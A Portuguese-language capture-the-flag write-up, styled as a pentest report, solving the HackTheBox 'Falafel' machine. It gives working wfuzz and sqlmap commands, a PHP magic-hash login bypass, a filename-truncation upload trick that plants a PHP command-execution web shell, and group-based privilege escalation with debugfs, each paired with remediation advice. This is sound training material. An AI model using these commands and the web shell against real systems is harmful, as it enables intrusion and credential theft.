PHP é Complicado! Falafel CTF Writeup

PHP é Complicado! Falafel CTF Writeup

Esta é uma documentação em forma de relatório de pentest, apresentada pela Behind Security, como parte da série “Road to OSCP”. O foco de hoje é o Falafel CTF do HackTheBox.

Falafel CTF

Falafel CTF

O Falafel CTF, sendo um dos desafios mais bem avaliados da plataforma, requer várias técnicas e truques exclusivos para ser explorado com sucesso. Várias dicas são fornecidas, embora seja necessária uma enumeração adequada para encontrá-las.

HackTheBox Logo

HackTheBox

O Hack The Box oferece a indivíduos, empresas e universidades as ferramentas necessárias para melhorar continuamente suas capacidades de cibersegurança - tudo em um único lugar.

Behind Security main logo, cropped.

BEHIND SECURITY

Behind Security é uma plataforma online dedicada a fornecer artigos informativos sobre cibersegurança, privacidade e programação.

Objetivos da Avaliação

Os principais objetivos do teste de penetração foram:

  • Identificar e validar possíveis vulnerabilidades na aplicação web e no ambiente do servidor.
  • Avaliar a eficácia dos controles de segurança e configurações existentes.
  • Avaliar a postura geral de segurança em relação a vetores de ataque comuns, incluindo injeção de SQL, escalonamento de privilégios e armazenamento inseguro de senhas.
  • Fornecer recomendações detalhadas e acionáveis para remediar as vulnerabilidades identificadas e melhorar a segurança do sistema.
  • Fornecer um relatório detalhado e esclarecedor do teste de penetração para todos interessados em cibersegurança.

Escopo

O escopo abrangeu técnicas de teste automatizadas e manuais para avaliar a resistência da aplicação web contra vários vetores de ataque. O comprometimento total do sistema-alvo está dentro do objetivo.

Metodologia

O teste de penetração da Behind Security seguiu uma metodologia abrangente e estruturada, incorporando as seguintes fases principais:

  1. Reconhecimento: A fase inicial envolveu a recolha de informações sobre portas abertas.
  2. Enumeração: Nesta fase, a Behind Security realizou uma enumeração aprofundada do sistema alvo, identificando serviços expostos, directórios do servidor Web e potenciais pontos de entrada para análise posterior.
  3. Avaliação de vulnerabilidade: Foram utilizadas ferramentas de verificação automatizadas e técnicas manuais para identificar potenciais vulnerabilidades de segurança na aplicação Web e na configuração do servidor.
  4. Exploração: As vulnerabilidades que apresentavam riscos significativos foram exploradas para verificar o seu impacto na segurança do sistema.
  5. Pós-exploração: Na fase final, a Behind Security tentou aumentar os privilégios e obter um acesso mais profundo ao sistema, simulando cenários de ataque do mundo real.

Resumo de Alto Nível

O teste de penetração conduzido pela Behind Security no sistema-alvo “falafel.htb” revelou múltiplas vulnerabilidades críticas em diversos aspectos da aplicação web e da configuração do servidor.

Resumo das Descobertas:

  1. Enumeração do Servidor Web (Baixa Gravidade):
    A aplicação está sendo executada no Apache/2.4.18 com o PHP rodando no backend. O arquivo robots.txt indica que arquivos terminando com .txt não serão indexados, sugerindo a presença de arquivos de texto ocultos na estrutura de diretórios.
  2. Bruteforcing de Diretórios (Baixa Gravidade):
    Através do gobuster dir, a Behind Security obteve insights sobre a estrutura do site, identificando potenciais pontos de entrada e diretórios ocultos.
  3. Enumeração de Nomes de Usuário (Gravidade Média):
    O formulário de login em “http://10.10.10.73/login.php” revela nomes de usuário válidos em caso de falha no login, expondo uma lista de nomes de usuário válidos.
  4. Injeção de SQL – 10.10.10.73/login.php (Gravidade Crítica):
    A aplicação é vulnerável a injeção de SQL, permitindo acesso não autorizado ao banco de dados e possível extração de dados.
  5. Quebra de Hash e Senha Insegura (Gravidade Alta):
    O uso de hash MD5 para senhas de usuário foi identificado como uma prática ruim, levando à quebra bem-sucedida de senhas usando uma ferramenta online.
  6. PHP Type Juggling e Colisão de Hash (Gravidade Alta):
    A presença de “0e” no hash da senha do administrador indica uma vulnerabilidade relacionada ao PHP type juggling, permitindo que invasores burlem a autenticação.
  7. Acesso Inicial – RCE ao Enganar a Lógica por Trás da Funcionalidade de Upload de Arquivos do Administrador (Gravidade Alta):
    A funcionalidade de upload de arquivos da aplicação permite que um invasor faça upload de arquivos PHP e execute código remoto devido à validação insuficiente do comprimento do nome do arquivo.
  8. Pós-Exploração – Escalação de Privilégios Horizontal – Moshe (Gravidade Alta):
    Detalhes sensíveis da conexão do banco de dados foram encontrados armazenados em texto simples, permitindo a recuperação da senha do usuário “moshe”.
  9. Pós-Exploração – Escalação de Privilégios Horizontal – Yossi (Gravidade Alta):
    Privilégios associados ao grupo “video” permitiram uma escalada de privilégios para o usuário “yossi”.
  10. Pós-Exploração – Escalação de Privilégios Vertical – root (Gravidade Crítica):
    O fato de o usuário “yossi” fazer parte do grupo “disk” permitiu o acesso a dados críticos, concedendo privilégios quase equivalentes ao acesso de root.

Recomendações:
Com base nas descobertas, a Behind Security recomenda as seguintes medidas de mitigação:

  • Implementar algoritmos seguros de hashing de senhas, como bcrypt ou Argon2, e impor políticas de senhas fortes.
  • Realizar revisões regulares de código e avaliações de segurança para identificar e corrigir vulnerabilidades.
  • Implementar validação estrita de entrada e sanitizar entradas de usuário para prevenir ataques de injeção de SQL.
  • Aplicar políticas seguras de upload de arquivos com validação adequada do comprimento do nome do arquivo e verificações de tipo de conteúdo.
  • Armazenar informações sensíveis, como credenciais de banco de dados, de forma segura e evitar o armazenamento em texto simples no código-fonte.
  • Aplicar princípios de privilégio mínimo às contas de usuário e limitar o acesso a recursos sensíveis.

Conclusão:
O teste de penetração em “falafel.htb” revelou vulnerabilidades críticas que exigem atenção e remediação imediatas. Ao abordar esses problemas e implementar as medidas recomendadas, o sistema pode aprimorar sua postura de segurança, proteger os dados do usuário e mitigar os riscos potenciais de exploração e acesso não autorizado. Avaliações regulares de segurança e monitoramento proativo são essenciais para manter um ambiente de segurança robusto e resiliente.

Desafio Independente – 10.10.10.73

export IP=10.10.10.73

É importante mencionar a necessidade de adicionar a entrada 10.10.10.73 falafel.htb no final do arquivo /etc/hosts

Enumeração de Serviços

Endereço IPPortas Abertas
10.10.10.73TCP: 22, 80

Enumeração do Servidor Web

A versão do servidor web é Apache/2.4.18, e há PHP em execução no backend. O arquivo robots.txt (http://falafel.htb/robots.txt) revela que todos os arquivos com a extensão .txt não serão indexados por mecanismos de busca da web, indicando que podem existir arquivos de texto ocultos presentes na estrutura de diretórios.

Bruteforcing de Diretórios

Explicação da Vulnerabilidade: Durante o teste de penetração, a Behind Security realizou uma varredura de força bruta de diretórios na aplicação web hospedada em “falafel.htb”. A varredura revelou um arquivo de texto oculto que divulga informações sensíveis (um e-mail do administrador do falafel para a equipe de desenvolvimento e advogados).

Correção da Vulnerabilidade: Implementar monitoramento de segurança em tempo real para detectar e bloquear atividades de varredura de força bruta de diretórios. 

Gravidade: Baixa

Passos para Reproduzir a Descoberta: Um atacante simplesmente precisa executar a ferramenta gobuster contra falafel.htb.

Comando:
gobuster dir -u http://falafel.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -o scans/gobuster -x php,txt

Resultado do scan do gobuster
Mensagem do admin em falafel.htb/cyberlaw.txt

Enumeração de Usuários

Explicação da Vulnerabilidade: A Behind Security identificou uma vulnerabilidade de enumeração de nomes de usuário no formulário de login da aplicação web hospedada em http://10.10.10.73/login.php. A vulnerabilidade permite que um invasor determine nomes de usuário válidos no sistema ao aproveitar o comportamento da aplicação quando há falha na autenticação do usuário.

Correção da Vulnerabilidade: Modificar a resposta de falha de login para fornecer uma mensagem de erro genérica que não revele se a falha é devido a um nome de usuário inválido ou a uma senha incorreta. Isso garante que os invasores não possam diferenciar entre nomes de usuário válidos e inválidos com base na resposta. Além disso, implementar uma política de bloqueio de conta que bloqueie temporariamente contas de usuário após um certo número de tentativas de login mal-sucedidas. Isso impede que os invasores realizem ataques de força bruta de maneira eficaz.

Gravidade: Média

Passos para Reproduzir a Descoberta: Configurar a ferramenta wfuzz com as opções apropriadas para fuzzing da página de login. No comando fornecido abaixo, a opção -w especifica a lista de palavras contendo possíveis nomes de usuário, e o marcador FUZZ é usado para substituir os nomes de usuário durante o ataque.

Comando:
wfuzz --hw 657 -d "username=FUZZ&password=test" -w /usr/share/seclists/Usernames/Names/names.txt -H "Content-Type: application/x-www-form-urlencoded" http://falafel.htb/login.php
Mensagem de erro diferente quando tentamos logar como admin
Enumeração de usuários

SQL Injection – 10.10.10.73/login.php

Explicação da Vulnerabilidade: A Behind Security observou um comportamento incomum na resposta da aplicação a determinados inputs, indicando possíveis falhas de segurança. A aplicação é vulnerável a injeção de SQL, um tipo de ataque que permite que usuários maliciosos insiram código SQL malicioso em campos de entrada de dados. Essa manipulação possibilita o acesso não autorizado ao banco de dados da aplicação e, em alguns casos, a extração de informações sensíveis ou até mesmo o controle sobre o banco de dados.

Correção da Vulnerabilidade: Validar e sanitizar todas as entradas de usuário para garantir que elas estejam no formato esperado, minimizando o risco de manipulação de entrada de dados maliciosa. Utilize consultas parametrizadas ou declarações preparadas para garantir a separação adequada entre comandos SQL e entrada fornecida pelo usuário, prevenindo assim ataques de injeção de SQL.

Gravidade: Crítica

Passos para Reproduzir o Ataque: O invasor simplesmente precisa executar uma ferramenta de injeção de SQL automatizada, como o “sqlmap”.

Comando: sqlmap -u http://falafel.htb/login.php --forms --threads=5 --level 5 --risk 3 --dbms=mysql --string "Wrong identification" -D falafel -T users --dump

É importante observar que a análise do comportamento na resposta da aplicação nos levou à conclusão de que sempre que a aplicação responde à tentativa de login com "Try again...", a injeção é malsucedida. Com isso em mente, adicionamos o parâmetro "--string", que especifica uma sequência de texto que o "sqlmap" usará para identificar quando a aplicação responde com uma mensagem de erro relacionada à injeção de SQL.

Scan do nmap identificando o ponto de injeção de SQL
Dados da tabela "users" da base de dados "falafel"

Quebra de Hash e Senha Insegura

Explicação da Vulnerabilidade: A vulnerabilidade está na utilização do algoritmo de hash MD5 para armazenar as senhas dos usuários. O MD5 é uma função de hash criptográfica fraca, suscetível a vulnerabilidades como ataques de colisão e quebra por força bruta. Após extrair o banco de dados, o hash da senha do usuário “chris” foi quebrado com sucesso usando a ferramenta online “crackstation”, expondo a senha em texto simples.

Correção da Vulnerabilidade: Transicionar do MD5 para um algoritmo de hash mais seguro, como bcrypt, Argon2 ou SHA-256. Esses algoritmos são especificamente projetados para resistir a ataques de força bruta e são considerados mais robustos contra tentativas de quebra de senhas. Além disso, aplique requisitos e políticas de complexidade de senhas, incentivando os usuários a criar senhas fortes e únicas. Se possível, implemente a autenticação multifator (MFA) como uma camada adicional de segurança para proteger as contas de usuário.

Gravidade: Alta

Passos para Reproduzir o Ataque: Tendo acesso às informações do banco de dados e possuir o hash da senha para o usuário “chris”, acesse o crackstation e quebre o hash.

Hash de senha do usuário "chris" quebrada

PHP Type Juggling e Colisão de Hash

Falafel CTF deu uma dica muito valiosa sobre o desafio, dê uma olhada:

Explicação da Vulnerabilidade: PHP Type Juggling é uma vulnerabilidade que surge devido ao comportamento de comparação e conversão de tipos soltos no PHP. No PHP, os operadores de comparação solta (loose comparison, cujos simbolos são: == e !=) podem levar a resultados inesperados ao comparar variáveis de tipos diferentes. Por exemplo, ao comparar uma string e um inteiro, o PHP pode converter automaticamente a string em um inteiro para a comparação. A Behind Security notou o prefixo “0e” no hash da senha do administrador.

O prefixo “0e“, no PHP, é um padrão que pode ser encontrado em alguns valores numéricos ao serem comparados com operadores de comparação solta (== e !=). Esse prefixo é usado para representar um número em notação científica, onde “e” representa a potência de 10 elevada a um certo expoente. Por exemplo, o valor “0e123” é interpretado como “0 * 10^123”, que é igual a 0. Da mesma forma, “0e456” é interpretado como “0 * 10^456”, que também é igual a 0. Veja abaixo um exemplo de código vulnerável para ilustrar a vulnerabilidade.

O código do back-end usa comparação solta (==) para verificar se a senha inserida pelo usuário corresponde ao hash armazenado. Devido ao prefixo vulnerável “0e” do hash, a comparação tratará a entrada do usuário como o número “0” se ela não começar com um valor numérico, o que significa que qualquer entrada que resulte em um “0” após o prefixo “0e” será considerada uma correspondência válida.

Correção da Vulnerabilidade: Use operadores de comparação estritos (=== e !==), que consideram tanto o valor quanto o tipo de dado. Ao usar comparação estrita, o PHP não realizará conversão automática de tipos, reduzindo o risco de comportamento inesperado em comparações.

Gravidade: Alta

Passos para Reproduzir o Ataque: A Behind Security procurou por uma string especialmente criada cuja versão md5 comece com “0e” e a enviou como senha para o usuário “admin”. A senha usada foi: 240610708. Seu hash md5 é igual a: “0e462097431906509019562988736854”, que o PHP interpreta como 0. Isso corresponde ao hash armazenado “0e462096931906507119562988736854”, então a autenticação foi bem-sucedida.

Formulário de upload desbloqueado!

Acesso Inicial – Execução Remota de Código (RCE) ao Enganar a Lógica por Trás da Funcionalidade de Upload de Arquivos do Administrador

Explicação da Vulnerabilidade: A vulnerabilidade existe na funcionalidade de upload de arquivos do aplicativo web. A aplicação permite que o usuário administrador faça upload de imagens enviando uma requisição HTTP POST específica para o servidor. Existe uma verificação do lado do servidor para verificar se o arquivo enviado é uma imagem ou um GIF, exigindo que o nome do arquivo termine com .png, .jpg ou .gif. No entanto, o servidor não valida adequadamente o comprimento do nome do arquivo, o que leva a uma falha significativa de segurança.

Após conduzir testes com nomes de arquivos de diferentes comprimentos, observou-se que o servidor automaticamente trunca nomes de arquivos com mais de 236 bytes. Essa truncagem ocorre após a verificação da extensão do arquivo, permitindo que um invasor ignore a verificação do tipo de imagem manipulando o nome do arquivo.

Correção da Vulnerabilidade: As seguintes medidas são recomendadas pela Behind Security:

  • Implementar validação estrita do comprimento do nome do arquivo, garantindo que nomes de arquivos que excedam um limite especificado sejam rejeitados.
  • Usar validação de tipo de conteúdo além das verificações de extensão de arquivo para verificar o tipo do arquivo enviado.
    Sanitizar e validar a entrada do usuário para evitar possíveis nomes de arquivo ou conteúdo maliciosos.
  • Usar um mecanismo seguro de manipulação de arquivos que impeça a execução direta de arquivos enviados.

Gravidade: Alta

Passos para Reproduzir o Ataque: Os seguintes passos foram realizados para explorar a vulnerabilidade:

  1. O atacante cria um arquivo especial, contendo exatamente 240 bytes, e terminando obrigatóriamente com .php.png. Um exemplo seria: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.png
  2. O atacante insere código php malicioso no arquivo que acabou de criar, um exemplo seria: <?php system($_REQUEST['cmd'])?>, ou mesmo uma shell reversa em php.
  3. O atacante precisa que a vítima faça o download da imagem, para isso, inicia um servidor http simples em python (python3 -m http.server 80) e especifica o seu endereço de IP e o nome do arquivo para o formulário de upload. Exemplo de como ficaria a URL: http://10.10.10.10/AAAA[...].php.png
  4. O arquivo passa na verificação de extensão e o servidor automaticamente trunca o nome do arquivo para 236 bytes, removendo a extensão .png e mantendo a extensão .php intacta.
  5. O atacante acessa diretamente o arquivo enviado e é capaz de executar comandos remotamente. É importante observar que a pasta de uploads muda toda vez que um arquivo é enviado. O atacante precisa acessar o diretório de upload que aparece na resposta do servidor após enviar o arquivo.
Resposta do servidor quando se faz o upload do arquivo malicioso
Execução Remota de Código com o usuário www-data

Pós-Exploração

Escalonamento Horizontal de Privilégios – moshe

Explicação da Vulnerabilidade: A vulnerabilidade foi identificada no arquivo “/var/www/html/connection.php”, que armazena detalhes cruciais de conexão com o banco de dados.

O arquivo continha os detalhes do servidor de banco de dados, nome de usuário, senha e nome do banco de dados, todos em texto simples. Essa falha permitiu que a Behind Security recuperasse a senha do usuário “moshe” sem muito esforço e fizesse login via SSH.

Correção da Vulnerabilidade: Evite armazenar informações sensíveis, como credenciais de banco de dados, em texto simples dentro do código-fonte ou em arquivos acessíveis. Em vez disso, considere usar variáveis de ambiente ou um sistema de gerenciamento de configuração seguro para armazenar e recuperar dados sensíveis.

Gravidade: Alta

Escalonamento Horizontal de Privilégios – yossi

Explicação da Vulnerabilidade: O usuário “moshe” foi encontrado como membro do grupo “video”, o que concede acesso a informações de monitoramento sobre usuários logados. Investigações adicionais confirmaram que o usuário “yossi” está logado no sistema e possui um shell tty válido. Essa situação cria uma possível falha de segurança, pois “yossi” pode abusar dos privilégios associados ao grupo “video” para obter acesso não autorizado a dados sensíveis e realizar ações não autorizadas.

Correção da Vulnerabilidade: Para mitigar essa vulnerabilidade de escalonamento de privilégios horizontal, o administrador do sistema deve revisar cuidadosamente e restringir as associações de grupos de usuários. Conceda apenas os privilégios necessários e evite fornecer permissões excessivas aos usuários, especialmente quando se trata de grupos como “video”, que podem acessar informações sensíveis. Além disso, é crucial revisar e auditar regularmente as associações de grupos para garantir que os usuários tenham as permissões mínimas necessárias para suas tarefas pretendidas.

Gravidade: Alta

Passos para Reproduzir o Ataque:

  1. Rode id para verificar que o usuário “moshe” é realmente um membro do grupo “video”.
  2. Verifique que o usuário “yossi” está logado com uma shell tty válida no sistema. Rodar o comando ps aux deve revelar os processos dos usuários, e a presença de “yossi” com uma shell tty indica uma sessão ativa de login.
  3. Como “moshe” tem acesso para monitorar o monitor de usuários logados, o atacante pode tomar vantagem e acessar o monitor do usuário “yossi”. Por favor, refira-se a esse artigo para poder explorar a vulnerabilidade com sucesso.
Obtendo a senha do usuário "yossi"

Escalonamento Vertical de Privilégios – root

Explicação da Vulnerabilidade: O usuário “yossi” é membro do grupo “disk”, que garante-o privilégios significativos. De acordo com o HackTricks, ser membro do grupo “disk” equivale-se a ter acesso root ao sistema, já que permite que usuários acessem todos os dados dentro da máquina, dependendo de algumas circunstâncias. Essa situação se enquadra como um sério risco de segurança, já que “yossi” pode abusar dos privilégios relacionados ao grupo “disk” para acessar dados sensíveis.

Correção da Vulnerabilidade: Os usuários devem ser concedidos a associação em grupos somente com os privilégios mínimos necessários para realizar suas tarefas específicas.

Gravidade: Crítica

Passos para Reproduzir o Ataque

  1. Use o comando “debugfs” para acessar o sistema de arquivos diretamente no dispositivo /dev/sda1. Esse comando permite que o usuário “yossi” interaja com o sistema de arquivos e potencialmente acesse arquivos sensíveis.
  2. Vá para /root.
  3. Leia a flag, root.txt.
Prova de Exploração: user.txt CENSURADO
Prova de Exploração: root.txt CENSURADO

Conclusão

É sempre uma ótima experiência resolver um CTF desafiador e bem elaborado. Aprendi muito sobre php type juggling e esse novo truque relacionado ao comprimento do nome do arquivo. A enumeração foi a chave para resolver esse desafio, e muitas vezes me vi revisando e analisando as informações coletadas ao longo do caminho. Créditos aos criadores do Falafel CTF: dm0n e Stylish.

Esperamos que você tenha achado nosso conteúdo útil e convidamos você a explorar mais nosso site para descobrir outros tópicos interessantes que cobrimos. Da cibersegurança à programação, nos esforçamos para fornecer aos nossos leitores as informações mais recentes e relevantes que possam ajudá-los a se manter informados e à frente do mercado. Estamos comprometidos em oferecer a melhor experiência possível a você e estamos abertos a feedback e sugestões por meio de nosso formulário de contato. Obrigado por escolher o BehindSecurity, esperamos vê-lo novamente em breve!

Rolar para cima